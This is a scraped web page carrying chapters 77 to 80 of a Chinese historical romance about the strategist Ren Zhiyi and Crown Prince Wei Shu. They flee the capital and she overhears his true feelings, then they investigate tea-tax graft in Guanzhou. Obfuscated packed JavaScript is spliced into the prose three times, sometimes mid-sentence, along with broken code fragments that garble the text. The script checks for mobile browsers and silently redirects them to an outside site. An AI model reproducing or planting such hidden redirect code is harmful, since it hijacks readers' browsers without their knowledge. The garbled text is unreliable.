在她过去的生命里，从没有一刻的心情比此刻更加迫切。她曾对义兄说过，若心悦一人，便要直白说出来，总好过心中暗自百转千折。 见到卫枢之后，她想告诉他灵州这些年的苦难，说服他与郓国一战。即使他并不赞同，她也愿意温柔耐心地讲给他听，求得他的同意。 这是她如今唯一仅剩的私心。 小舟摇摇晃晃地停下，对面的楼船放下跳板。 宽阔的大手一把拉住她的手，扶她走到船上。 稳住身子后，任知宜抑制不住满心的激荡，一下子扑到他怀中，两条手臂环上他的腰，紧紧抱住。 卫枢骤然僵在原地，两臂虚张，不知该放到何处。 隆冬的江上看不到渔火，溧水一片静谧、漆黑，钩月温柔地笼罩在水面上；江岸的风拂过二人的脸颊，冰凉凉的，带着江水的潮气。 过了半刻，任知宜才赧然地松开手。 卫枢牵着她的手进到船内。 撩开袖子和裤腿一看，她手臂上的伤已经开始红烂。 卫枢下巴绷得死紧，面色骇人。 任知宜柔声道：“不碍事，主要是之前的烧伤没处理好，你看手指已经恢复得差不多了。” 卫枢取出铜镊和火针，“烧伤的腐肉须得一一剔掉，要是疼得厉害，你就喊出声来。” 任知宜点点头。 灯下，剔了一会儿，卫枢额头渐渐渗出汗来。 “不要忍着，我再轻一点。” 任知宜咬着嘴唇点点头，疼到浑身痉挛，手指毫无意识地攀住卫枢。 卫枢任凭她掐着，断裂的指甲深深地陷入皮肤中，渗出血来，他依旧一动不动。 过了良久，卫枢终于将腐肉剔除干净，给伤口敷上药，包扎好。 任知宜瞥见他手背上的伤痕，后知后觉道：“殿下，对不起。” 卫枢轻握她手，眼神一片冰凉，“怎么会是你的错？你受的苦，孤会找那些人，替你一一讨回来。” 任知宜虚弱地笑了笑。 “谢殿下。” 卫枢主动道：“今夜之事，孤已安排好一切，其他人都会没事，林七与宝珠走陆路离开京城，与我们南下会合。” 卫枢的话像是有安定人心的力量。接连几日的折磨，已令任知宜的身体绷到极致。这一路上，她完全是凭借意志在维持，一旦放松下来，身体便支撑不住了。 他扶她到内室的床上，“你身体太虚弱，先睡一会儿。” “不。”她摇摇头，头愈发昏昏沉沉，“我还有话要跟你说。” 卫枢为她盖上衾被，掖好被角，温声道：“追兵不会再来，这里很安全。你安心睡吧，有什么话等你醒来再说。” 心弦一松，困意席卷而来，她的眼皮越来越沉，直至坠入梦乡。 ——— 她又梦到七岁那年，辛岐山的那座山洞。 这次的梦与以前的不同。 梦里，她久等不来的小姑娘终于出现了。 这一次，小姑娘没有抛弃她，还带着她的父母一起回来救她。她心中欢喜得不得了，抱着她又哭又笑。 他们一起下山，走到半山腰，遇见两个郓人。 郓人手持大刀，目露凶光。 “你们快跑！”小姑娘的父母大吼一声，冲上去抱住两个郓人，抱得死死的。 郓人的大刀砍在小姑娘的父亲身上，“咔啦”一声，她听到刀刃卡在骨头里的声音，鲜血溅在她们二人的脸上，模糊了双眼。 “快跑！”小姑娘的父亲闷喊一声，人倒下了，双手还死死地抱着郓人的腿。 她清醒过来，拉起依旧呆滞在原地的小姑娘，转身就跑。 黑夜里，山间的风奔袭狂卷着，发出呜呜的哭声。 她拉着她，漫无目的地冲着向前跑，辨不出方向，看不清山路，就是一股劲儿地向前跑。 后面是如野狼一般的郓人追赶的脚步声，不管前方是什么，都无所谓…… 突然，她脚下一空，摔了下去。 身体的蓦然失重，令她猛地睁开眼睛。 舲窗外隐隐透出微光，天快要亮了。 在牢里的这几日，任何一点风吹草动的声音都会令她惊醒，即使逃出来了，也难以安眠。 外间传来说话的声音。 她心中讶然，轻轻起身，走到舱门前。 透过门缝，她看到卫枢与人在面对面站着交谈。 正面朝着她的，是御史大夫叶蕴之。 任知宜没有出声，她知道叶蕴之一向不喜欢她。太子助她逃狱，看叶蕴之的神情，想来事先并不知情。 “为了一个女子，殿下实在太糊涂！”叶蕴之沉声道，“殿下可知？此女一直有异心。” 任知宜本不欲继续听他们说话，却在转身的一霎那，听卫枢道：“孤知晓。” 脚步猛地一刹，她望着他的背影出神。 卫枢轻声道：“早在睢州之时，她就刻意献计山南道节度使郭嘉，挑起郓国和大胤的冲突，回京之后又假借柳德之手为郭嘉争取军费。她还故意将孤的表兄厉谦义调至工部，是为了让景随顺利入兵部。这些，孤都知晓。” “殿下既然都知道，为何还将此女留在身边？此女与节度使勾连，此乃朝廷大忌，更何况她还一心挑拨胤郓的关系，其心可诛。” 卫枢道：“老师，孤相信知宜绝无背叛之心。” “殿下到此时还在为她开脱？”叶蕴之怒气直冲，“就算她无此心，也是穷兵黩武、好大喜功之人。一场嘉以之乱，弄得大胤十室九空，百姓流离失所，大胤绝不能再行兵戈。” 卫枢默然。 叶蕴之逼问：“若有一日，她非要大胤与郓国一战，殿下要如何做？” 卫枢道：“孤会阻止她。” “阻止不了呢？” 卫枢沉默半晌，“孤会困住她。” 任知宜呆呆地站在原地，双脚沉沉。 她一向喜欢听卫枢说话，他的声音清润，尾音缱绻温柔，可如今这声音落入耳中，却多了几分冰凉。 “唉！”叶蕴之长长地叹了口气，“殿下这是姑息养奸，当断不断，必受其乱。今夜为了她又将京城闹得天翻地覆，实在不值得。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127556|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “老师不要再责怪知宜了。今日之举，亦不是全然为她。”卫枢轻声道。 因为卫枢背对着自己，任知宜看不清楚他此刻的表情，但是可以想象，该是一贯的清冷淡漠，一如他们初见之时。 他缓缓道：“刑部大牢里关着一个盛氏的降将，名叫陶贵。今日之举，一方面是为救知宜，更重要的是借今夜这场混乱救陶贵出狱，并将当年的云门镇案推到世人面前。” 叶蕴之薄唇微张，怔忡半晌，“殿下还没放弃这桩案子？” “我义父就死在当年这场屠案里，杀人的是盛氏叛军，放火的却是安州王何卢。我曾在义父坟前立誓，无论过去多少年，我都要将当年和这个案子有关的幸存之人一一找出来，揭开真相。” 叶蕴之默然。 “请老师成全。”卫枢躬身，长长地作了个揖。 叶蕴之静然半晌，“殿下执意如此，老臣无话可说，只是希望殿下能答应老臣一个要求。” “什么？” “杀了任知宜。” “孤不能答应。”卫枢回得没有半分迟疑。 叶蕴之拧眉。 卫枢沉声道：“她是孤的左膀右臂，为东宫数次出生入死，孤若杀她，枉为主上。” 叶蕴之双眸之中现出几分疑色，“殿下真得只是将她当成幕僚？殿下能确保，有朝一日不会因她而兴起战乱？” “不会。”卫枢缓缓道：“孤绝不会因情而背弃初衷，更何况孤对她只有君臣之义。” 原来是这样…… 任知宜倚靠在船壁上，虚虚地笑了笑。 好一个君臣之义！ 即使叶蕴之如此要求，太子也没有杀她，她着实该庆幸，自己算是得遇明主，三生有幸。 既然如此，她还有什么好难过的？ 叶蕴之叹声道：“好吧！希望殿下有朝一日不会后悔。京城那里，殿下准备如何善后？” 卫枢道：“孤临走前给伊柘留了一件东西，可确保应国不会发难。京城这边，若有人因为孤被牵连，还要劳烦老师多多照拂。” 叶蕴之眉头紧缩，不置可否。 窗外天光大亮，船行两个时辰，已驶出临州地界。 渡口的艄公摇着桨，唱着曲，招呼来来往往的行人上船。 卫枢拱手，“这船将一路向南。今日就此别过，老师保重。” 他亲自送叶蕴之下船。 船身陡然摇晃，任知宜一个站不稳，几乎跌倒，她的手指死死地扣住窗槛，扣得指节泛白。 原来，一切都是她自作多情。 原本灼热的一颗心渐渐冷却下来，她扯了扯唇，想笑，却又笑不出来。 他对她的好，不过是君臣之义；他甘冒大不韪救她，是为了云门镇案。他是储君，心中放着江山社稷，她怎么会是他的首选？ 更可笑的是，她竟然还异想天开，以为太子会同意对郓国一战。 郭嘉曾经提醒过她，让她早作谋划，可是她竟然觉得太子会为了她作出改变。 何其可笑！ 在太子心中，江山稳固为首，他义父的案子为次，其他的人或者事都不在他的考虑之中。 他们之间，原本就是主上与幕僚的关系，是她自己错解其意，自作多情。今日，她真该好好感谢叶大人，若非是他，她如何能够如梦初醒。 她重新躺回床上，维持着原有的姿势，好像从未醒来过。 她缓缓地闭上眼睛，暗暗地对自己说了一句——这样也好。 她与太子之间，只谈君臣之义，不涉男女之情，日后抽身，也可干干净净，再无瓜葛。 78. 清醒 舲窗外，渡口的市集人来人往，叫卖声此起彼伏。 “知宜，你醒了？”卫枢步入舱内，放下手里的粥，“这里是长州地界，你先用点早膳，孤再陪你去镇上买些衣物。” 任知宜坐在床沿，静静地望着他。 眉眼清隽，与之前并无二致，可她总觉得与他之间像是隔了一层雾，连声音也变得虚浮陌生起来。 “怎么……不舒服吗？”卫枢走近，伸手就要触她的额头。 冷不防她陡然向后一躲，避过他的手。 卫枢瞳眸一缩，眸色中多了几分意外。 任知宜心下一跳，惊觉自己反应过度，忙解释道：“我有点冷，殿下的手上带着股子凉气。” 卫枢释然，笑着朝手心里哈了口热气，“孤刚刚下船是去买粥，你趁热喝下，人会暖和一些。 任知宜很听话地抿了一口，心中思绪翻涌，她想起太子和叶蕴之说的话，若她执意要帮郭嘉与郓国一战，他会困住她。所谓“困住”，说白了，就是软禁，所以日后与太子相处，还须更加谨慎一些。 卫枢道：“除了衣物，还有些什么其他要置办的，我们一并去买，此处连通运河，往来客商繁多，物资也比较丰富。” “谢过殿下，让林四哥陪我去买就好。”任知宜笑笑。 “无妨，孤也想去市集走走。” 吃了一会儿，卫枢问道：“昨日你说，有话要与孤说，是何事？” 任知宜身体僵了一瞬，立刻恢复如常，“没什么……我只是想说，那夜在禧宁宫，我看见的人是安王。” 卫枢若有所思，“难怪……” 任知宜道：“殿下是不是发现什么？” 卫枢道：“那夜，景相突然提议要商讨修缮懿华宫一事，所以父皇与孤在乾元殿呆了一夜。” “殿下的意思是……？” 卫枢缓缓道：“彦月公主这个案子是安王、景相一手谋划的，席白和莫千山不过听命于二人罢了。” 任知宜不解，“是他们害死彦月公主？” “恰恰相反。”卫枢淡淡道：“是他们帮了彦月公主。” “赏花宴那日，暗卫察觉彦月公主身边一直有人在跟踪监视，后来孤派人查过，是伊柘的人。”卫枢缓缓道：“那个时候，孤才知晓，彦月公主与伊柘早有矛盾。她那日拉你下湖，本意是想取你性命，可能是后来心生他计，又改变主意将你救了上来。” 任知宜微一沉思，便明白过来，“公主想出的更好计策就是假死脱身，嫁祸于我。” “从禧宁宫的火势可以判断，火是从彦月公主的内寝开始烧起，可是那些尸体的烧伤程度和被发现的位置并不相符。” “雀琴说她那日曾见过彦月公主身边的两位贴身侍婢，其中一位侍婢身形与公主有些相似。孤查看过所有尸体，始终没有找到这个侍婢。” “坊间流传，应国成教有一秘法，名为揉骨术，可将人的面部骨骼作出少许改变，只是维持时间不超过两日。孤怀疑，禧宁宫那具烧尸不是真正的彦月公主，而是那名贴身侍婢。孤临走前给伊柘留下口信，想必伊柘眼下已重新查验过尸身，知晓答案。” 任知宜面色微凝，“若真如此，彦月公主与成教大祭司早有联系。” “不错。”卫枢缓缓道：“应国恐怕很快会有一场内乱。” 任知宜沉吟片刻，“所以，安王将赌注押在彦月公主身上，一方面为换取应国的支持，另一方面借刀杀人，除掉我这个东宫幕僚。他心里清楚，胤应两国不会开战，待到彦月公主回国，真相即可大白。” “不过……”，任知宜不解，“彦月公主深受应主宠爱，地位超然，为何要联合成教大祭司？” “这个，恐怕只有彦月公主自己知道。”卫枢道。 任知宜低着头，以小匙轻轻搅动米粥，若有所思。 她状似无意地问道：“既然彦月公主没死，殿下准备何时回宫？” 太子失踪乃是大事，就算陛下为顾及皇家颜面遮掩一二，时间长了，必然瞒不过去，也不利于东宫势力稳固。 卫枢撩开窗棂的薄纱，望向外面熙熙攘攘的人群，不答反问：“你没有去过江南吧？” “不曾。” 卫枢道：“江南的冬季与北方有些不同，明朗润泽，你可能会喜欢。” 一种极强的排斥感自任知宜心底生出，她不喜欢再听这种会令人动摇的话。 “殿下！”她笑着打断，“殿下是不是打算去江南查税？” 他轻声道：“常年困于皇宫方寸之地，无法真正了解敌人。户部的税账一直查不清楚，孤正好借离京之机，与你一起到江南查一查世家的底。” “不如由臣先行前往。” 卫枢摇头，轻声道：“你一个人，孤不太放心。” 一束晨光透过薄纱照了进来，将卫枢的长眉照得根根分明，没有一丝杂色，眸色清澈，似有微光。 任知宜瞥了一眼，淡淡地收回视线，“臣明白。” —— 早膳过后，他们去到市集。 布庄的掌柜见他二人气质出众，忙上前招呼。 “客官，这些布都是新到的，喜欢哪一款？” 卫枢道：“我要两件女子成衣，料子要细软一些，颜色要素淡一些。” 掌柜不敢怠慢，马上拿出两款裙子，一件松石色窄袖襦裙，一件杏子色间裙。 他见卫枢选得仔细，咧着嘴笑道：“这是由上好的织锻所做，极其柔软；您夫人相貌清丽雅致，这两个颜色也是极合适的。” 未等卫枢接话，任知宜先一步否认，“掌柜误会了，这是我家兄长。” 卫枢侧目，心中闪过一丝异样，可是见她浅笑得随性自然，又觉得大约是自己多心。 从布庄出来，任知宜主动告罪。 “殿下说过，我们此行先经拱州、关州，再经渠州，最后才到济州，这一路上行船住宿多有不便。恕臣方才僭越，臣想与殿下扮作兄妹，沿途不会惹人注意。” 卫枢盯着她的眼睛瞧了半晌，目色清明，坦坦荡荡，若不同意，倒是他不近人情了。 “好。” “兄长。”任知宜立刻喊了一声，“兄长既然化名沈舒，属下就化名沈宜吧。” “好。” 一口一个兄长的叫着，任知宜叫得顺口，卫枢却听得有些刺耳。 走到半路，他终于忍不住问道：“你平日里唤霍思修也是如此？” “那怎么能一样。”任知宜淡淡一笑，“义兄那个是真的，殿下这个是假的。” 卫枢一怔，半晌说不出话来。 ———— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127557|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 京城 天刚拂晓，北衙卫抬来十几个盛满清水的筲桶，刷洗地面上的血。 庞大海沿街清点尸体，除了被抓回北衙的四个，还有十六具尸体，刚刚好与暗卫营回报的匪盗数目对得上。 他抱着剑，坐在博文斋门前的石阶上，望着天边云色渐暗。 殿下定下的谋局，前三步总算是走得有惊无险，只是还差这最后一步，不知道能否顺利度过…… 对面，莫千山迎面走来。 庞大海起身拱手，“昨夜多谢莫统领襄助，盗宝賊匪共计二十人，无一人逃脱。庞某必定禀明陛下，为莫统领记一功。” 莫千山冷冷地望着他，“东宫真是好手段。” “此话从何说起？” 莫千山收回视线，唇角勾出一抹嘲意，“难道庞将军不知？应国使臣团正收拾行装，准备启程回国。” —— 消息传到煜宁宫，贤贵妃“咔嚓”一下剪断了正在侍弄的花枝。 “为什么？” 内侍回道：“听闻是应国国主病重，伊相要求即刻启程，将公主灵柩带回应国入土为安，以告慰芳魂。” 贤贵妃面色骤变，脚下微趄。 安王扶她到榻上靠坐着，垫上软垫。 贤贵妃扶着额角，寒声道：“伊柘他肯定是知道了……那个被抓进大理寺的禁军，立刻杀了。” “儿臣明白。” 安王望着外面黑压压的天色，“今夜恐有冻雨，路面湿滑泥泞，即使快马加鞭，十日之内伊柘也赶不回应国。” 贤贵妃一把甩开他的手，怒不可遏，“你如今还有心思关心应国？本宫原本指望有应国施压，明日早朝群臣弹劾，太子之位必定不保。可是现在伊柘一走，太子私自离京之事便会大事化小。” 安王眼睫垂着，默不作声。 贤贵妃看到他这幅模样，气得胸口发疼，“咱们太大意了！看来太子他早就知晓你帮彦月公主假死离宫之事，难怪他敢劫狱！” 安王默默静立。 贤贵妃似是恨极，碎碎念道：“卫枢惯会谋算人心，他故意失踪，让我们生生地放任知宜出了京。” “母妃。”安王声音微哑，“任知宜不过是一介幕僚，又已离开京城，应该不会再掀起什么大风浪。” 贤贵妃肃着脸，“可是，她是郑家、宫家，还有景相要杀的人。你别忘了，我们答应过景相，会取她性命。” 她沉吟片刻，蓦地站起身来，“将杀手精锐派出，追上任知宜的行踪。” “是。” 贤贵妃突然像是想起什么，幽幽地问道：“眼下太子是不是和她在一起？” “呵呵呵……”，她一边笑着，一边自问自答，“没错！他们肯定在一起。” 安王望着他的母妃，眉头轻蹙。 贤贵妃拿起剪刀，微微用力，剪下一枝腊梅，放在手中。 “既然要杀，不如一起杀掉。” “母妃！”安王眸色一惊，“太子既已离宫……” “离宫又如何！他依旧是大胤储君。”贤贵妃冷冷道。 安王下颌绷紧，不置一词。 “眼下太子孤身在外，正是杀他的好时机。” 贤贵妃握住他的手，徐徐道：“瑾儿，你将来是要做帝王的人，切忌优柔寡断。” 79. 关州 那厢卫枢几人继续行船，最终在关州下船落脚。 关州与平州相似，地处运河沿线，是水陆通达之地，为江南三道九州当中的第三大州府，仅次于济州和柳州。 他们用提前备好的假路引进城，再以沈舒和沈宜两个化名投栈，安顿下来。 暮时，三人到客栈楼下吃饭，人声熙攘，来店里打尖的人不少。 小二把案桌一擦，腾出空来。 “客官，要点什么？” “一碟萝卜糕，一份蒸羊骨，两碟小菜，再来份梅子饯。” “好嘞！”小二又问，“几位要喝茶吗？我们这里有上等、中等和下等茶可供客官挑选。” “详细说来听听。” “上等茶，明前的正岩，一芽一叶，一壶茶要二百文；中等茶，乌兰茶，一壶五十文，下等茶，十文即可。” 任知宜笑道：“小小的客栈，茶品倒是很丰富。” 小二笑道：“我们关州府是茶运集散之地，江南道各山场的茶通常都先运到我们关州，再转运至京城，所以关州这里是从不缺茶的。” “那你们这里有没有馥安茗茶？” 小二惊得猛摇头，“馥安茗茶一两三金，小店可没有这么名贵的茶。” 卫枢问道：“这茶为何这么贵？” 小二挠挠头，“大概是产量太少吧，市面上能卖的茶铺就不常见。小的天天卖茶，可是这种茶只听说过，连见都没见过，估计只有那宫里的人才能喝得上吧。” 卫枢和任知宜相视一眼，轻声道：“来壶下等茶。” 小二一怔，刚才听他们问馥安茗茶，以为这几个是什么有钱人，再看他们穿着普通，身无华饰，原来是几个长得还不错的穷酸。他收了笑脸，悻悻道：“好，下等茶。” 小二走后，任知宜小声问道：“殿下为何要查茶税，而非盐税？” “郑家失了盐业，郑檀和江南道的榷务司必有所防范，我们很难深入其中查到什么。茶税同样是户部和榷务司直管，从茶税查起，可能会事半功倍。茶税占大胤税赋一成，近年来茶价逐年攀升，税赋却不增反减，这其中定然有问题。” 此时，客栈里走进几个戴着小重檐帽，身穿皮毛背心的商人，风尘仆仆，还未坐下，先要了两壶上等茶。 茶水灌下去，有一人咂咂嘴道：“听说主持今年的茶会的是万家庄的新主事人。” “不错。万家庄的老庄主年事已高，如今的主事人是他的大儿子万传宗。” 几个人七嘴八舌地议论起来。 任知宜侧耳听着，了解个大概。 关州府每年秋冬季会举办一场茶会，邀请各地的茶商参加，茶会主要是鉴茶、品茗为主，重在以茶会友，同时还会预测一下第二年的茶市，规模不小，颇有盛况。 万家庄，实际是万家茶庄，是江南道最大的茶商，名下茶铺千家，济州韩家和柳州郑家经营的茶肆，用的茶叶就主要来源于万家。 听他们所说，万家庄势力不小，他们只要与万家庄搞好关系，明年便可多拿些配额。 林四听不懂，低声问道：“什么是配额？” 任知宜道：“咱们大胤实行榷茶制，茶商若想卖茶，先要从榷务司买茶，买茶的量是有定数的，这就是配额。你看这几人的衣服，像是漠北那边的皮毛货，他们可能是来往于大胤和漠北的商人，需要茶叶的量也会比较大。” 林四恍然。 卫枢道：“我们需要进入这个茶会，最好能结识这位万家的主事人。” 任知宜蹙眉，“我们不是茶商，没有茶引是进不去的。” 卫枢道：“我们可以在关州开家茶铺。” “好！”任知宜摇了摇杯盏，望着盏底的碎茶末，倏地将茶托往案上一扔，“就开家茶铺，我也想看看，关州府的水究竟有多深。” ———— 要开茶铺，店面是关键。 牙行的牙人听他们说只租三个月，心中暗暗犯嘀咕。 三个外乡人，一对儿容貌极盛的兄妹，看着关系并不算亲近；一个抱着长剑的仆从，面无表情，左看右看都不像商人。 牙人指着两张铺子图，“这家地段好，地方小，十貫；这家地段偏，地方大，八贯。” 任知宜浅笑，“有没有地段极好，又敞亮的铺子？” “有倒是有……”，牙人有些意外，斜睨了她一眼，“不过挺贵，要二十贯。” “可以。”任知宜道。 牙人一听，面上有了笑容，“有个事儿我得提前说，这铺子抢手得很，你们这三月租期太短，要租这铺子也不是不行，只是须得在原价基础上再加五贯。” “你敢坐地起价？”林四冷眼一瞪。 牙人磕磕巴巴道：“这，这本来就是牙行的规矩，哪有人开茶铺只租三个月铺子的？我这也是为了牙行的声誉着想……” 任知宜走到卫枢身前，低声问道：“还剩多少银钱？” 卫枢粗略一估算，“银锭大概剩三百两，还有几件珍品，急用时可典当。” 任知宜沉思半晌，走到牙人面前，“二十五贯没问题，我还可以给你更多。” 她伸出三根手指，“比如，三个银锭。” 牙人闻言，激动得两眼发光，嘴角咧得合不上。 “但是，我有几个条件。” 牙人咽了咽口水，“沈姑娘请说。” 化名沈宜的任知宜道：“不能告诉任何人我们的铺子只有三个月租期。” “这个自然。”牙人爽快答应。 任知宜继续道：“我沈家本是官宦之家，无奈家道中落，家中尚有些薄产，不过我兄妹二人须支立门庭，这才来到关州府。我们想结交几位茶会的朋友，经营茶业，牙行向来接触三道九流，消息也灵通，麻烦给介绍一二。” 牙人忙不迭道：“沈姑娘有所不知，关州府的茶商不少，可是皆以万家庄为首，沈姑娘若想经营茶业，必须要获得万家庄的首肯才行。” “如何结识万庄主？” 牙人为难，“小的身份卑微，可结识不上。” “不过……”，牙人语气一顿，“我这里有间宅子，若是姑娘肯租下，倒是有些希望。” 任知宜会意，“这宅子是谁的？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132398|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“万家大夫人的内侄，姓陈，以前一穷二白，后来跟着万家卖茶，这些年也置办下不少房产，最是喜欢贪些小便宜。” 任知宜了然笑笑，“好，就这间。” 牙人大喜，咧嘴笑道：“陈大官人最喜欢结交姑娘这等豪气大方的朋友，等小的给你们安排见面，这事儿必成。” ———— “待诏去榷货司了。” 一大早，卫枢没见到任知宜，找林四来问，得到这么一个回答。 他顿时拧了眉，“为何不跟着她？” 林四回道：“待诏不让。” “走。”卫枢起身，“去榷货司看看。” 林四提剑跟上。 任知宜之所以去榷货司，是因为他们没能拿到茶引。 在大胤，茶商需要从官府购买茶引之后才可以经营茶铺，换句话说，茶引就是经商的通行证。 他们按照榷务司规定缴了二百贯，可是库官不给引票，说是需要核查。核查三日之后又说他们是外地人，无人担保，便不能在关州府买茶引。 茶引不给，二百贯却已入库，说是暂时无法退回。 任知宜闻言，二话不说就出了门。 她去到榷务司门口转了一圈，等到一个文书打扮的男子走出来。 她笑着走上前去，“可是高文书？” 高文书点点头，上下打量着她。 “我是万家庄陈大官人的朋友，前街沈家茶铺的东家。” 高文书面色一缓，“姑娘有何事？” “我家仆从来榷务司买茶引，茶引没买成，却被扣了二百贯。实在百思不得其解，还请文书解惑。” 她适时递上一贯钱。 高文书笑眯眯地接过来，“姑娘要明白，二百贯不过是茶引钱，你不交茶供钱怎么能行。榷货司关州分司上上下下一百多人，靠什么养家？靠朝廷那点俸禄吗？饿死了都没人知晓。” “那不就是私账？”任知宜不解，“文书怎敢直接将这等秘辛告知于我？” 高文书笑笑：“走的是公账。” 任知宜一惊，“怎么会是公账？” “咱们大胤实行茶榷制，银钱可置换茶引，茶引亦可置换银钱。若有茶商周转不灵，则可以茶引换银钱，官府从中收三厘利。” 高文书得意洋洋道：“咱们提举聪慧，想出茶供之法，提前收二厘茶供，可抵未来换银钱的利息，茶商们都乐意至极。多出的银钱，一部分上交户部，一部分留作榷货司自用。财库充盈，朝廷自然不会追究。” “若茶商一直不换呢？” 高文书不以为意，“那也是当初他们自己愿意的，与我们何干。” 说完，他揣着一贯钱，告辞离开。 任知宜立在原地，默然半晌。 “知宜。” 听到一道清越的声音，她转身回望。 太子一脸关切地寻来，像是怕她会有什么危险似的。 她轻轻地扯了扯唇。 太子，你可看见？听见？ 朝堂上党同伐异，州县里敛征民财，上行下效，这就是大胤的官场。 80. 唐橘 京城下过一场冻雨后，宫中传出太子染疾不出的消息。 自古有言，冻雨乃不祥之兆，为警示帝王，上天这才降下冻雨，令农田受灾，谷物不丰。 接连几日，皇帝心情不郁。 胡总管亲眼看着，长公主的亲子苏叶被他的皇帝舅舅用一对儿龙首铜镇纸砸出乾元殿，怒吼声声，几乎要震碎檐上的琉璃瓦。 他心里清楚得很，这哪里是对苏叶的怒气，分明是陛下将对太子的怨气都发泄在苏叶的身上。 压下心中喟叹，胡总管碎步进殿，低声道：“陛下，松石书院山长徐胤台求见。” “徐山长？”皇帝微讶，“他来做什么？” 胡总管的声音愈加低抑，“是为了云门镇的案子。” 沉默几息，皇帝猛一挥手，案上的笔、墨皆被拂了下去，光洁的砖地被染成一片墨色。 胡总管跪着默默擦拭。 皇帝喝道：“别擦了，说吧。” 胡总管安静地跪在一旁，“京城百姓中有流言传出，声称当年的云门镇屠案另有内情，徐山长恐怕就是为此事而来。” 当年，松石书院三百二十八名学子血洒明镜台，与盛氏叛军有不共戴天之仇，眼下有人为盛氏鸣冤，徐山长第一个坐不住。 皇帝眯着眼睛，“这些流言是怎么传出来的？” “回陛下，一是隐匿许久的云门镇幸存之人出现，当街声称被人追杀多年；二是盛氏降将陶贵越狱，又与幸存之人一起逃出京城，这些让百姓觉得案子有些扑朔，就多了许多猜测。有人说，幸存之人才是凶手；也有人说，当年盛齐月并不知情……” “够了，朕不想听。”皇帝不耐，“先把徐山长打发走。” 胡总管道：“不若奴才先请徐山长去偏殿休息，就说陛下忙于政务，稍后奴才再请景相过来一趟。” “就这么办吧。”皇帝手扶额角，满脸疲惫，“告诉徐山长，朝廷将为在明镜台慷慨赴死的学子授官阶品秩，以告慰英灵。届时，朕会亲登明镜台，祭奠学子。” “奴才遵旨。” 皇帝的眼神沉了下去，“若不是太子非要为盛氏叛贼翻案，事情也不会发展到今天这个地步。太子的下落查到了吗？” 胡总管垂首，“回陛下，暂时只查到太子曾在平州停留过。” 皇帝道：“多派几个人去云门镇守着，他极有可能是为了这个案子才离京。” “是。” 眼见胡总管依旧跪着，并不告退，皇帝眉头一皱，“还有什么要说的？” 胡总管欲言又止，“是，是长公主。” 自从任知宜越狱，苏叶几次三番被席白请到刑部“问询”，长公主心急如焚，便来求见皇帝。 不只是苏叶，霍思修几个也都被带去过刑部几次，只是左查右查，查不到什么证据，最后只好不了了之。 皇帝拧眉，“告诉席白，查不出证据，就不要再给朕添乱。” 胡总管斟酌着说话，“老奴斗胆揣测，刑部对这几个人抓了又放，放了又抓，未必是真要将他们入罪，不过是因为这次刑部实在是栽了个大跟头，席大人一时之间有些气不过。” 皇帝道：“告诉他，寻个由头，将那几个和案子有关的，一律降职，这案子就到此为止。” 胡总管微抬眼，语带询问，“那苏侍郎，还有景相家的公子……？” 皇帝顿了一下，“让苏叶在长公主府里老实呆着；至于景随，让席白去问景相的意思。” “是。” ———— 苏叶赋闲在家，每日听长公主唠叨成婚之事，烦闷不已。这一日，寻着个机会出府，在城里转了几圈，最终转到大理寺去。 大理寺的门房说唐橘已被革职，苏叶闻言一怔。 “是何原由？” “擅离职守，不听上令。” 苏叶蹙眉，“林大人也同意？” “是啊。” 苏叶怏怏离开。 走在路上，苏叶心中生出几分懊悔，刚才怎么忘记问唐橘家住哪儿，可是现在再跑回去问，又觉得有些拉不下脸面。 思来想去，还是折返回去，打听到了唐橘家的住处。 京郊禹山脚下的村子，绿树青山，透着一种纯然的质朴。 唐家是猎户之家，个个爽朗好客，对于他的到来虽有些意外，却是格外的热情。 这种热情，让苏叶莫名地想起长公主。 唐家人还说，他来得不巧，唐橘在大理寺当官，平时特别忙碌，一个月才回家一次。 苏叶听得如坐针毡，呆了不一会儿便告辞离开。 回府的路上，苏叶一直在想之前刁难过她的事。只要唐橘来户部调档，他便借机挑摘她的错处，没料到这姑娘心性极硬，他嫌她誊抄的字迹不端，她便一遍一遍地重抄，直至天明。 唉！当初着实不该欺负她…… —— 夜里，月明无风，街上一片静谧。 苏叶从凌香阁出来，望见一个熟悉的人影。他正想上前招呼，却见唐橘左观右望，对周遭有所防备，于是默默跟了上去。 走到一座宅子后门，唐橘将剑随意地搁置一旁，席地而坐，月辉笼在她身上，透出一股说不出来的洒脱之意。 她坐着望月，他站着望她。 或许是月色惑人，这一幕落在苏叶眼中，心弦一动，心中生出几分异样。 不多久，“吱呀”一声，后门走出人来。 确切地说，是十几位豆蔻之年的姑娘走出来。 她们蹑手蹑脚地跨出门槛，见到唐橘时，面上皆露出欣喜之色。 